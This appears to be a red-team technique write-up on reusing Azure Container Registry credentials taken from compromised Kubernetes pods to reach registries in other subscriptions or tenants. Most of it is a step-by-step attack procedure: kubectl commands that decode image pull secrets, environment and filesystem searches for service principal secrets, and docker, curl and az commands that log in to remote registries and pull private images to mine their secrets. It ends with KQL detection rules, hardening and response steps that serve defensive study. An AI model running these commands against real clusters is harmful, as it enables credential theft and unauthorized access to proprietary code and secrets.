| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-031 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure Container Registry |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Azure Container Registry (ACR) all versions, Docker/Podman runtime |
| Patched In | N/A (Requires credential management hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Container Registry (ACR) credentials (admin username/password, service principal secrets, or managed identity tokens) stored in pod environment variables, Kubernetes secrets, or configuration files can be reused to authenticate to container registries in different Azure subscriptions or tenants. Once a pod is compromised, attackers extract registry credentials and use them to pull private container images from other registries, revealing proprietary application code, secrets embedded in images, and sensitive build artifacts.
Attack Surface: Container image pull secrets stored in Kubernetes secrets; environment variables passed to containers; credentials in ~/.docker/config.json or credential files within container images; registry credentials passed via Helm values or ConfigMaps.
Business Impact: Unauthorized access to proprietary container images. An attacker can pull all images from a registry in a different subscription, reverse-engineer applications, extract embedded secrets, credentials, and API keys from image layers, and understand internal application architecture for targeted attacks.
Technical Context: This attack typically takes seconds to minutes once registry credentials are obtained. Detection depends on audit logging at the registry level. Unlike network-based attacks, credential reuse leaves minimal forensic evidence unless registry pull logs are reviewed.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.4 | Ensure Azure Container Registry uses image scanning |
| CIS Benchmark | 2.1.12 | Ensure ACR uses role-based access control |
| DISA STIG | V-254383 | Use managed identities instead of credentials |
| CISA SCuBA | C.1.1 | Implement credential management |
| NIST 800-53 | AC-2 | Account Management |
| NIST 800-53 | SC-28 | Protection of Information at Rest |
| GDPR | Art. 32 | Security of Processing |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cyber Risk Management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Unauthorized Access to Container Registry |
Supported Versions: Kubernetes 1.16+, all ACR versions
Objective: Identify the names and locations of Kubernetes secrets containing registry credentials.
Command:
# From compromised pod or via kubectl with access
kubectl get secrets --all-namespaces | grep -i docker
# In the current namespace
kubectl get secrets -o jsonpath='{range .items[?(@.type=="kubernetes.io/dockercfg")]}{.metadata.name}{"\n"}{end}'
# Detailed view
kubectl describe secret <secret-name> -n <namespace>
Expected Output:
TYPE DATA AGE
kubernetes.io/dockercfg 1 30d
kubernetes.io/dockerconfigjson 2 45d
Name: acr-pull-secret
Type: kubernetes.io/dockerconfigjson
Data
====
.dockerconfigjson: 524 bytes
What This Means:
kubernetes.io/dockerconfigjson are modern format (single key); type kubernetes.io/dockercfg is legacyOpSec & Evasion:
Troubleshooting:
Error from server (Forbidden): secrets is forbidden
References & Proofs:
Objective: Extract plaintext registry credentials from Kubernetes secret data.
Command:
# Extract the secret data
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq .
# Alternative (legacy format)
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data.\.dockercfg}' | base64 -d | jq .
# Extract credentials for a specific registry
kubectl get secret <secret-name> -n <namespace> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq '.auths["myacr.azurecr.io"].auth' | base64 -d
Expected Output:
{
"auths": {
"myacr.azurecr.io": {
"username": "myacr",
"password": "1234567890abcdef1234567890abcdef==",
"email": "user@example.com",
"auth": "bXlhY3I6MTIzNDU2Nzg5MGFiY2RlZjEyMzQ1Njc4OTBhYmNkZWY=="
},
"otherapp-registry.azurecr.io": {
"username": "otherapp-registry",
"password": "abcdef1234567890abcdef1234567890==",
"auth": "b3RoZXJhcHAtcmVnaXN0cnk6YWJjZGVmMTIzNDU2Nzg5MGFiY2RlZjEyMzQ1Njc4OTA="
}
}
}
What This Means:
auth field is simply Base64-encoded username:passwordOpSec & Evasion:
Troubleshooting:
jq: error (at <stdin>:1): Cannot parse empty string as JSON
.dockercfg and .dockerconfigjson keysReferences & Proofs:
Objective: Authenticate to the remote container registry using the extracted credentials.
Command:
# Extract credentials
USERNAME=$(echo "myacr:password123" | cut -d: -f1)
PASSWORD=$(echo "myacr:password123" | cut -d: -f2)
REGISTRY="myacr.azurecr.io"
# Docker login (if docker CLI is available)
docker login -u $USERNAME -p $PASSWORD $REGISTRY
# Alternatively, using Azure CLI
az acr login --name myacr
# Or using curl with Basic Auth
curl -u $USERNAME:$PASSWORD https://$REGISTRY/v2/_catalog
# List available images in the registry
curl -u $USERNAME:$PASSWORD https://$REGISTRY/v2/_catalog | jq '.repositories'
Expected Output:
Login Succeeded
{
"repositories": [
"internal/billing-service",
"internal/payment-processor",
"internal/compliance-audit-tool"
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Unauthorized: Invalid username or password
References & Proofs:
Objective: Download container images from the remote registry for analysis.
Command:
# Pull a specific image
docker pull myacr.azurecr.io/internal/billing-service:latest
# Tag the image locally
docker tag myacr.azurecr.io/internal/billing-service:latest billing-service-local:latest
# Run the image to inspect its contents
docker run -it billing-service-local:latest /bin/bash
# Extract secrets from image layers
docker inspect billing-service-local:latest | jq '.[0].Config.Env'
# Save the image as tar for offline analysis
docker save billing-service-local:latest | gzip > billing-service-local.tar.gz
# Extract files from image using tools like Trivy or Dive
trivy image myacr.azurecr.io/internal/billing-service:latest
dive myacr.azurecr.io/internal/billing-service:latest
Expected Output:
latest: Pulling from internal/billing-service
a1a7cf92b2e5: Pull complete
c3b4b5d6e7f8: Pull complete
Digest: sha256:1234567890abcdef1234567890abcdef1234567890abcdef
Status: Downloaded newer image for myacr.azurecr.io/internal/billing-service:latest
Environment Variables:
[
"DB_HOST=prod-db.azure.com",
"DB_USER=billing_admin",
"DB_PASSWORD=Sup3rS3cr3t!",
"API_KEY=sk_live_1234567890abcdef"
]
What This Means:
OpSec & Evasion:
Troubleshooting:
Error response from daemon: manifest not found
References & Proofs:
Supported Versions: Azure ACR all versions, Kubernetes 1.16+
Objective: If the pod is configured with a service principal for cross-tenant registry access, extract the credentials.
Command:
# Check environment variables for service principal credentials
env | grep -i azure
env | grep -i client
env | grep -i secret
env | grep -i key
# List all environment variables
printenv
# If credentials are in a mounted secret
cat /var/run/secrets/microsoft.com/secretref
# Check for credential files
find / -name "*credentials*" -o -name "*secrets*" -o -name "*.key" 2>/dev/null | head -20
Expected Output:
AZURE_CLIENT_ID=12345678-1234-1234-1234-123456789012
AZURE_CLIENT_SECRET=abc123!@#$%^&*()abcdefghijklmnop
AZURE_TENANT_ID=87654321-4321-4321-4321-210987654321
REGISTRY_USERNAME=12345678-1234-1234-1234-123456789012
REGISTRY_PASSWORD=abc123!@#$%^&*()abcdefghijklmnop
What This Means:
OpSec & Evasion:
Troubleshooting:
No credentials found in environment
References & Proofs:
Objective: Use the service principal credentials to authenticate to a registry in a different tenant.
Command:
# Set variables
CLIENT_ID="12345678-1234-1234-1234-123456789012"
CLIENT_SECRET="abc123!@#$%^&*()abcdefghijklmnop"
TENANT_ID="87654321-4321-4321-4321-210987654321"
REMOTE_REGISTRY="another-org-acr.azurecr.io"
# Obtain a token for the remote registry
TOKEN=$(curl -s -X POST \
-d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&resource=https://management.azure.com" \
https://login.microsoftonline.com/$TENANT_ID/oauth2/token | jq -r '.access_token')
# Alternatively, obtain an ACR-specific token
ACR_TOKEN=$(curl -s -X POST \
-d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&resource=https://$REMOTE_REGISTRY" \
https://login.microsoftonline.com/$TENANT_ID/oauth2/token | jq -r '.access_token')
# List repositories using the token
curl -s -H "Authorization: Bearer $ACR_TOKEN" \
https://$REMOTE_REGISTRY/v2/_catalog
# Alternatively, use Azure CLI
az login --service-principal -u $CLIENT_ID -p $CLIENT_SECRET --tenant $TENANT_ID
az acr login --name another-org-acr
Expected Output:
{
"repositories": [
"prod/web-api",
"prod/database-service",
"prod/admin-portal"
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
Unauthorized: Invalid username or password
References & Proofs:
Supported Versions: Kubernetes 1.16+, all container runtimes
Objective: Some applications store registry credentials directly in environment variables for dynamic image pulls.
Command:
# From within a compromised pod
env | grep -E 'ACR|REGISTRY|DOCKER|REGISTRY_' | grep -v KUBE | head -20
# Example output parsing
REGISTRY_URL=$(env | grep REGISTRY_URL | cut -d= -f2)
REGISTRY_USERNAME=$(env | grep REGISTRY_USERNAME | cut -d= -f2)
REGISTRY_PASSWORD=$(env | grep REGISTRY_PASSWORD | cut -d= -f2)
echo "Registry: $REGISTRY_URL"
echo "Username: $REGISTRY_USERNAME"
echo "Password: $REGISTRY_PASSWORD"
Expected Output:
REGISTRY_URL=company-acr.azurecr.io
REGISTRY_USERNAME=company-acr
REGISTRY_PASSWORD=ACR_PASSWORD_STRING_HERE
ACR_LOGIN_SERVER=company-acr.azurecr.io
What This Means:
OpSec & Evasion:
Troubleshooting:
Variables not found
References & Proofs:
Objective: Use the extracted credentials to authenticate to the registry and pull images.
Command:
# Login to the registry
docker login -u $REGISTRY_USERNAME -p "$REGISTRY_PASSWORD" $REGISTRY_URL
# Pull images
docker pull $REGISTRY_URL/myapp:latest
docker pull $REGISTRY_URL/myapp:production
# List available tags
curl -s -u $REGISTRY_USERNAME:$REGISTRY_PASSWORD https://$REGISTRY_URL/v2/myapp/tags/list
Expected Output:
Login Succeeded
myapp:latest: Pulling from myapp
a1a7cf92b2e5: Pull complete
{"name":"myapp","tags":["latest","v1.0.0","v1.0.1","v1.5.0","production"]}
What This Means:
OpSec & Evasion:
Troubleshooting:
Unauthorized: Invalid username or password
References & Proofs:
Rule Configuration:
AzureDiagnostics (ACR audit logs), AzureActivityOperationName, properties.registryUrl, properties.action, CallerIpAddressKQL Query:
AzureDiagnostics
| where ResourceProvider == "MICROSOFT.CONTAINERREGISTRY"
and Category == "RepositoryEvent"
and OperationName == "Pull"
| where CallerIpAddress !startswith "10."
and CallerIpAddress !startswith "172.16."
and CallerIpAddress !startswith "192.168."
| summarize PullCount=count() by CallerIpAddress, properties.imageName, OperationName, TimeGenerated
| where PullCount > 3 // Threshold: more than 3 pulls from same external IP
| project TimeGenerated, CallerIpAddress, ImageName=properties.imageName, PullCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Unauthorized ACR Image Pulls from External IPsHigh15 minutes1 hourSource: Microsoft ACR Audit Logging
Rule Configuration:
SigninLogs, AADServicePrincipalSignInLogsAppId, ResourceDisplayName, OperationName, RiskDetailKQL Query:
AADServicePrincipalSignInLogs
| where ResourceDisplayName contains "Container Registry"
or ServicePrincipalName contains "acr"
| where RiskDetail != "none"
| where AppDisplayName !contains "Kubernetes"
and AppDisplayName !contains "deployment"
| project TimeGenerated, ServicePrincipalName, ResourceDisplayName, RiskDetail, OperationName
What This Detects:
Source: Azure AD Sign-In Logs
Event ID: 4624 (Account Logon)
Manual Configuration Steps (Azure Portal):
Use Managed Identities Instead of Credentials: Replace hardcoded registry credentials with Azure managed identities, which provide token-based authentication without storing secrets.
Pod Configuration:
apiVersion: v1
kind: Pod
metadata:
name: pod-with-managed-identity
labels:
azure.workload.identity/use: "true"
spec:
serviceAccountName: managed-identity-sa
containers:
- name: app
image: myacr.azurecr.io/myapp:latest
env:
- name: AZURE_CLIENT_ID
value: <managed-identity-client-id>
- name: AZURE_TENANT_ID
value: <tenant-id>
- name: AZURE_FEDERATED_TOKEN_FILE
value: /var/run/secrets/workload.azure.com/serviceaccount/token
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Create user-assigned managed identity
$identity = New-AzUserAssignedIdentity -Name "acr-pull-identity" -ResourceGroupName $rg -Location $location
# Assign AcrPull role to the registry
New-AzRoleAssignment -ObjectId $identity.PrincipalId -RoleDefinitionName "AcrPull" -Scope "/subscriptions/{subscriptionId}/resourcegroups/{rg}/providers/microsoft.containerregistry/registries/{registryName}"
Rotate Registry Credentials Regularly: Implement a credential rotation policy to minimize the window of exposure if credentials are compromised.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Regenerate admin password
$password = Update-AzContainerRegistryCredential -Registry <registry-name> -ResourceGroupName <rg> -PasswordIndex 1
Store Registry Credentials in Azure Key Vault: Instead of embedding credentials in pod specs or Kubernetes secrets, use Azure Key Vault for centralized, audited credential management.
Configuration (Via Key Vault):
apiVersion: v1
kind: Pod
metadata:
name: keyvault-pod
spec:
serviceAccountName: keyvault-access-sa
containers:
- name: app
image: myacr.azurecr.io/myapp:latest
env:
- name: REGISTRY_PASSWORD
valueFrom:
secretKeyRef:
name: acr-secret-from-keyvault
key: password
Manual Steps (Azure Portal):
acr-password, Value: <registry-password>Implement ACR Role-Based Access Control (RBAC): Use Azure RBAC instead of admin credentials; assign minimal necessary roles (e.g., AcrPull instead of Contributor).
Manual Steps (Azure Portal):
AcrPull (for pull-only) or AcrPush (for push)Manual Steps (PowerShell):
# Assign AcrPull role to a managed identity
$principalId = (Get-AzUserAssignedIdentity -Name $identityName).PrincipalId
New-AzRoleAssignment -ObjectId $principalId -RoleDefinitionName "AcrPull" -Scope $registryId
Enable Azure Container Registry Audit Logging: Configure audit logging to track all image pulls and identify unauthorized access patterns.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$workspaceId = (Get-AzOperationalInsightsWorkspace -ResourceGroupName $rg -Name $workspaceName).ResourceId
New-AzDiagnosticSetting -Name "ACR-Audit-Logging" -ResourceId $registryId `
-WorkspaceId $workspaceId `
-Enabled $true `
-Category "RepositoryEvent", "RegistryEventSuccess", "RegistryEventFailure"
Restrict Kubernetes Secret Access via RBAC: Limit which service accounts can read image pull secrets.
RBAC Configuration:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: no-secret-access
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: [] # Deny all access to secrets
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: no-secret-access-binding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: no-secret-access
subjects:
- kind: ServiceAccount
name: app-sa
namespace: default
Conditional Access Policy: Enforce MFA and device compliance for service principal sign-ins to ACR.
Manual Steps (Azure Portal):
Network Access Control: Restrict ACR access to specific IP ranges (AKS cluster IPs).
Manual Steps (Azure Portal):
# Check if managed identity is enabled
kubectl get serviceaccount -o jsonpath='{.items[*].metadata.annotations}' | jq '.["azure.workload.identity/client-id"]'
# Verify no image pull secrets are mounted
kubectl get pod <pod-name> -o jsonpath='{.spec.imagePullSecrets}'
# Check ACR audit logs for unauthorized pulls
az monitor log-analytics query -w <workspace-id> --analytics-query "AzureDiagnostics | where ResourceProvider == 'MICROSOFT.CONTAINERREGISTRY' and OperationName == 'Pull' | summarize count() by CallerIpAddress"
What to Look For:
kubernetes.io/dockerconfigjson secretsAzureDiagnostics, resource provider: MICROSOFT.CONTAINERREGISTRY)docker login commands or credential references~/.docker/config.json in running containers# Delete the compromised pod
kubectl delete pod <compromised-pod> --namespace <namespace> --grace-period=0 --force
# Revoke the Kubernetes secret containing credentials
kubectl delete secret <acr-secret-name> --namespace <namespace>
Manual (Azure Portal):
# Export pod logs
kubectl logs <compromised-pod> --namespace <namespace> > /evidence/pod-logs.txt
# Export Azure activity logs
az monitor activity-log list --resource-group <rg> --offset 24h --output table > /evidence/activity-logs.txt
# Export ACR pull events
az monitor log-analytics query -w <workspace-id> --analytics-query "AzureDiagnostics | where OperationName == 'Pull' and TimeGenerated > ago(24h)" > /evidence/acr-pulls.txt
# Rotate all registry credentials
az acr credential-renew --name <acr-name> --password-name both
# Update all pods to use new credentials or managed identities
kubectl set env deployment/<deployment-name> REGISTRY_PASSWORD=<new-password>
# Remove any exposed image pull secrets
kubectl delete secret <exposed-secret> --all-namespaces
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-004] Kubelet API Unauthorized Access | Attacker gains pod access |
| 2 | Credential Access | [LM-AUTH-030] AKS Service Account Token Theft | Service account token extracted |
| 3 | Lateral Movement | [LM-AUTH-031] Container Registry Cross-Registry | Current Step: Registry credentials used to access another registry |
| 4 | Discovery | Image enumeration and pulling | Private code and secrets discovered in images |
| 5 | Impact | Code analysis and credential extraction | Build secrets, API keys, database credentials exposed |